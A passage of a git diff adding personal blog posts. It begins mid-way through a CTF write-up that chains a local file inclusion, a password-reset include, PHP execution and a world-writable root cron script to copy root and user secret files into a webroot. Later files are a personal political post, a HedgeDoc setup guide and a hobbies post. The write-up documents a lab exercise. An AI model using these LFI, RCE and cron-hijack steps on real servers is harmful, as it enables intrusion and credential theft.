`www-data`, `root`. + +SSH from outside? Public key only. Password auth is a lie (for us, anyway). + +--- + +## 1) Recon — documentation.md saves the day + +First stop: the main site. + +```bash +curl -s https://g00.tuw.measurement.network/documentation.md +``` + +That file is basically a treasure map. It mentions two services: + +- **web** → `web.g00.tuw.measurement.network` +- **pwreset** → `pwreset.g00.tuw.measurement.network` + +I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`. + +Subdomains resolve. Good. Let's go web. + +--- + +## 2) LFI — `include($_GET['page'])` classic + +The web vhost is a frameset. Content loads in a frame via `?page=`: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd' +``` + +And there it is — root, users, the whole `/etc/passwd` parade inside the frame. + +Source via PHP filter works too: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \ + | sed -n 's/.*frame name="in">//p' | base64 -d +``` + +`index.php` is roughly: + +```php + +``` + +Klaus, my man. We love you. + +**First instinct:** read all the `passwd_part` files immediately. + +```bash +# spoiler: doesn't work +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part' +# → permission denied +``` + +Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair. + +--- + +## 3) pwreset — localhost-only, but LFI doesn't care about nginx + +Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual: + +```nginx +allow 127.0.0.1; +deny all; +``` + +So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request. + +pwreset source (paraphrased): + +```php +$user = $_GET['user'] ?? ''; +$pass = $_GET['pass'] ?? ''; +file_put_contents('/var/www/userchange', "$user:$pass\n"); +echo "Password reset queued."; +``` + +It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell). + +**Trigger it through LFI:** + +```text +https://web.g00.tuw.measurement.network/ + ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php + &user=user1 + &pass=MyTestPass1! +``` + +I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it. + +--- + +## 4) RCE — PHP in `userchange`, included like a boss + +At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP? + +So I wrote a tiny shell into the `user` field via pwreset: + +```php + +``` + +Then included `/var/www/userchange` through the LFI: + +```text +?page=/var/www/userchange +``` + +**Output:** `uid=33(www-data) gid=33(www-data) ...` + +Short tags (``) for the win. A longer `` payload also works, but the backtick version is minimal and cute. + +From here on, my mental model was: + +1. **pwreset** → write arbitrary-ish content to `/var/www/userchange` +2. **LFI include `userchange`** → execute PHP as `www-data` + +That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open. + +--- + +## 5) Rabbit holes (aka "everything I tried before it worked") + +This box is a *presentation* CTF. It wants you to wander. I wandered. Hard. + +### nginx log poisoning + +The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up. + +Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late. + +### `data://`, `php://input`, `expect://` + +```bash +?page=data://text/plain, +?page=php://input # with POST body +?page=expect://id +``` + +Nope. `allow_url_include = Off`. Klaus isn't *that* careless. + +### vim `.swp` files + +`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`. + +Empty memes page. No execution. Nice red herring — very on-theme for the talk. + +### Munin / `apt_all` plugin + +The presentation mentions monitoring (Nagios/Munin vibes). I went hunting: + +- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist** +- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …) +- Waited for cron cycles hoping a custom plugin would curl localhost pwreset + +**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere. + +### pwreset log archaeology + +Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore: + +- Saw historical resets like `user3` → `foobar23` +- Tried `foobar23` over SSH for every user + +**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that. + +### Shell script injection into `userchange` + +I tried newline injection to turn `userchange` into a bash script: + +```text +user= +#!/bin/sh +cp /home/user1/passwd_part /var/www/.../p1 +... +``` + +Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path. + +### Brute-forcing the `userchange` consumer + +I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`. + +Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.) + +### Direct SSH password guessing + +Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH. + +From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside. + +--- + +## 6) Privesc — world-writable cron script (peak Klaus) + +With RCE as `www-data`, I looked for writable files: + +```bash +find / -writable -type f 2>/dev/null | head +``` + +Jackpot: + +```text +-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh +``` + +Original script (innocent): + +```bash +#!/bin/bash +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config +``` + +It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss. + +I appended: + +```bash +cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 +cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 +cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 +cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm +cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* +``` + +Then either waited for cron or executed the script manually via RCE: + +```php + +``` + +**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud. + +--- + +## 7) SSH as `www-data` — because keys in the webroot are a mood + +The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did. + +```bash +# via RCE: cat the key, save locally, chmod 600 +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \ + www-data@g00.tuw.measurement.network +``` + +Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files. + +--- + +## 8) The password parts + +| Source | File | Part | +|--------|------|------| +| user1 | `p1` | `DcC6Da0A27384fA` | +| user2 | `p2` | `9Ce05B3cAd57824` | +| user3 | `p3` | `3aD80fa1b7AE986` | +| user4 | `p4` | `CDefabffab1FCCf` | +| www-data | `passwd_part` | `44D885d6DAb8Bb9` | +| root | `rootpass` | `ghadnuthduxeec7` | + +**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient. + +**Combined root password (95 characters):** + +```text +DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 +``` + +Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`. + +I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines. + +Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method. + +--- + +## 9) Attack chain (one screen) + +```text +documentation.md + → web vhost LFI (include $_GET['page']) + → include pwreset index.php (localhost bypass) + → write PHP to /var/www/userchange + → LFI include userchange + → RCE as www-data + → append to world-writable cron_update_hostname_file.sh + → cron runs as root → copies passwd parts to webroot + → read parts / SSH as www-data + → profit +``` + +Very "real world" in the worst way. Multiple small mistakes compounding into a full chain. + +--- + +## 10) Replay script + +I left a minimal Python replay in the challenge repo: + +```bash +python3 solve.py +``` + +Core logic: + +```python +def pwreset(user, passwd=""): + # LFI-include pwreset index.php with user/pass params + +def rce(cmd): + pwreset(f"", "") + return lfi_include("/var/www/userchange") +``` + +It prints `id`, the modified cron script, each part file, and the combined password. + +--- + +## 11) Bonus: the intended log poisoning path + +After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂 + +So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass. + +### The hint is in `index.php`, not `documentation.md` + +`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI): + +```html + +``` + +Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log. + +### Intended technique + +1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log: + + ```text + /var/log/nginx/web.g00.tuw.measurement.network.access.log + ``` + +2. Put PHP in the `User-Agent` (or another logged field): + + ```text + + ``` + + Short tags like `` `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun. + +3. **Include that log** through the same LFI bug: + + ```text + https://web.g00.tuw.measurement.network/ + ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log + &cmd=id + ``` + +On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required. + +### How I griefed myself + +| What I did | Why it hurt | +|------------|-------------| +| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing | +| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail | +| Fired dozens of test payloads | Left broken `}} diff --git a/public-onion/sources/posts/g00_tuw_measurement_ctf.md.asc b/public-onion/sources/posts/g00_tuw_measurement_ctf.md.asc new file mode 100644 index 0000000..daebdc1 --- /dev/null +++ b/public-onion/sources/posts/g00_tuw_measurement_ctf.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1 +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+ +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+ +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= +=BDGe +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/h3ll0_fr1end.md b/public-onion/sources/posts/h3ll0_fr1end.md new file mode 100644 index 0000000..42d5cae --- /dev/null +++ b/public-onion/sources/posts/h3ll0_fr1end.md @@ -0,0 +1,27 @@ ++++ +title = 'H3ll0 Fr1end' +date = 2026-05-02T16:17:02Z +draft = false ++++ + +Hello friends. I'm back. It's been... let's say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I'm so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it's shadow over the country for decades. It's funny how his father (I'm talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people's lives, and then selling people's food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it's not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not "own" makes him the best candidate for exploitation. And he has shown this very well. + + +The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore. + +It's so so sad that I'm siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It's so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, ..., Persian Constitutional Revolution, etc.. So fucking sad. + +The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don't think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime's influence over it's people. + +Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it's own people. Years of stagflation, and no bright light in sight. + +Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :) + +Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D + +I honestly also don't feel like proofreading the text, so... there would be many mistakes. :) And honestly, idc. + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/h3ll0_fr1end.md.asc b/public-onion/sources/posts/h3ll0_fr1end.md.asc new file mode 100644 index 0000000..4ecfff4 --- /dev/null +++ b/public-onion/sources/posts/h3ll0_fr1end.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+ +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA= +=7md6 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/hedge_doc.md b/public-onion/sources/posts/hedge_doc.md new file mode 100644 index 0000000..1b3c834 --- /dev/null +++ b/public-onion/sources/posts/hedge_doc.md @@ -0,0 +1,191 @@ +--- +title: "Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt" +date: 2025-08-29 +draft: false +tags: ["hedgedoc", "docker", "nginx", "letsencrypt", "self-hosting"] +categories: ["guides"] +cover: + image: "/images/hedgedoc-cover.png" + alt: "HedgeDoc collaborative editing" + caption: "Collaborative Markdown editing with HedgeDoc" + relative: true + hidden: false +--- + +HedgeDoc is an open-source collaborative Markdown editor. Think *Google Docs for Markdown*: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. + +--- + +## Prerequisites + +- A Linux server with **Docker** and **Docker Compose** +- A domain name pointing to your server (e.g. `notes.alipourimjourneys.ir`) +- **Nginx** installed for reverse proxying +- **Certbot** for Let’s Encrypt certificates + +--- + +## 1. Create the project directory + +{{< highlight bash >}} +mkdir ~/hedgedoc && cd ~/hedgedoc +{{< /highlight >}} + +--- + +## 2. Create `.env` + +{{< highlight env >}} +POSTGRES_PASSWORD=ChangeThisStrongPassword +HD_DOMAIN=notes.alipourimjourneys.ir +{{< /highlight >}} + +Generate a strong password with: + +{{< highlight bash >}} +openssl rand -base64 32 +{{< /highlight >}} + +--- + +## 3. Create `docker-compose.yml` + +{{< highlight yaml >}} +version: "3.9" + +services: + db: + image: postgres:16 + environment: + POSTGRES_USER: hedgedoc + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + POSTGRES_DB: hedgedoc + volumes: + - db:/var/lib/postgresql/data + restart: unless-stopped + + hedgedoc: + image: quay.io/hedgedoc/hedgedoc:1.10.2 + depends_on: + - db + environment: + CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc + CMD_DOMAIN: ${HD_DOMAIN} + CMD_PROTOCOL_USESSL: "true" + CMD_URL_ADDPORT: "false" + CMD_PORT: "3000" + CMD_EMAIL: "true" + CMD_ALLOW_EMAIL_REGISTER: "false" + volumes: + - uploads:/hedgedoc/public/uploads + ports: + - "127.0.0.1:3000:3000" + restart: unless-stopped + +volumes: + db: + uploads: +{{< /highlight >}} + +Bring it up: + +{{< highlight bash >}} +docker compose up -d +{{< /highlight >}} + +--- + +## 4. Get a Let’s Encrypt certificate + +Request a cert with a **DNS challenge**: + +{{< highlight bash >}} +sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email +{{< /highlight >}} + +Add the TXT record certbot asks for, wait for DNS to propagate, then continue. +Certificates will be in: + +{{< highlight bash >}} +/etc/letsencrypt/live/notes.alipourimjourneys.ir/ +{{< /highlight >}} + +--- + +## 5. Configure Nginx + +Create `/etc/nginx/sites-available/notes.alipourimjourneys.ir`: + +{{< highlight nginx >}} +server { + server_name notes.alipourimjourneys.ir; + + listen 80; + listen [::]:80; + return 301 https://$host$request_uri; +} + +server { + server_name notes.alipourimjourneys.ir; + + listen 443 ssl http2; + listen [::]:443 ssl http2; + + ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } +} +{{< /highlight >}} + +Enable the config and reload Nginx: + +{{< highlight bash >}} +sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t && sudo systemctl reload nginx +{{< /highlight >}} + +--- + +## 6. Create users + +Because we disabled self-registration, create accounts manually: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --add alice@example.com +{{< /highlight >}} + +You’ll be prompted for a password. +To reset a password later: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com +{{< /highlight >}} + +--- + +## 7. Done! + +Visit [https://notes.alipourimjourneys.ir](https://notes.alipourimjourneys.ir) and log in with the user you created. You now have your own collaborative Markdown editor 🎉 + +--- + +**Extras:** + +- Backups: dump the PostgreSQL database and save the `uploads` volume. +- Upgrades: `docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d`. +- Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/hedge_doc.md.asc b/public-onion/sources/posts/hedge_doc.md.asc new file mode 100644 index 0000000..83ac93c --- /dev/null +++ b/public-onion/sources/posts/hedge_doc.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+ +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/ +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg= +=uf5y +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/hello-world.md b/public-onion/sources/posts/hello-world.md new file mode 100644 index 0000000..6797182 --- /dev/null +++ b/public-onion/sources/posts/hello-world.md @@ -0,0 +1,11 @@ ++++ +title = 'Hello World' +date = 2025-08-25T08:53:38Z +draft = false ++++ + +This is a test hello world post just to make sure everything works! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/hello-world.md.asc b/public-onion/sources/posts/hello-world.md.asc new file mode 100644 index 0000000..c9900c6 --- /dev/null +++ b/public-onion/sources/posts/hello-world.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/hobbies.md b/public-onion/sources/posts/hobbies.md new file mode 100644 index 0000000..1426fa7 --- /dev/null +++ b/public-onion/sources/posts/hobbies.md @@ -0,0 +1,172 @@ ++++ +title = 'Hobbies' +date = 2025-10-10T07:04:54Z +draft = false +description = "My point of view on hobbies" ++++ + +When I started my PhD, I was told "get yourself a hobby!" many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies. + +For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. + +Let's go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end. + +After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take "active" sport classes. +So... getting into a chess class was conditional. + +I have't really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening. + +In high-school I didn't really have any hobbies. +I did become interested in Basketball, but nothing serious. +It's funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame. + +Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called "Karsoogh" for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don't remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active. + +I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman's obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research. + +During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don't have any images from the project, but the code can be found [here](https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402). + +I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don't go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby! + +After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it's the story of my PhD pretty much now. + +Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn't pursue it. +I actaully wanted to learn Violine, but the consultant we talked 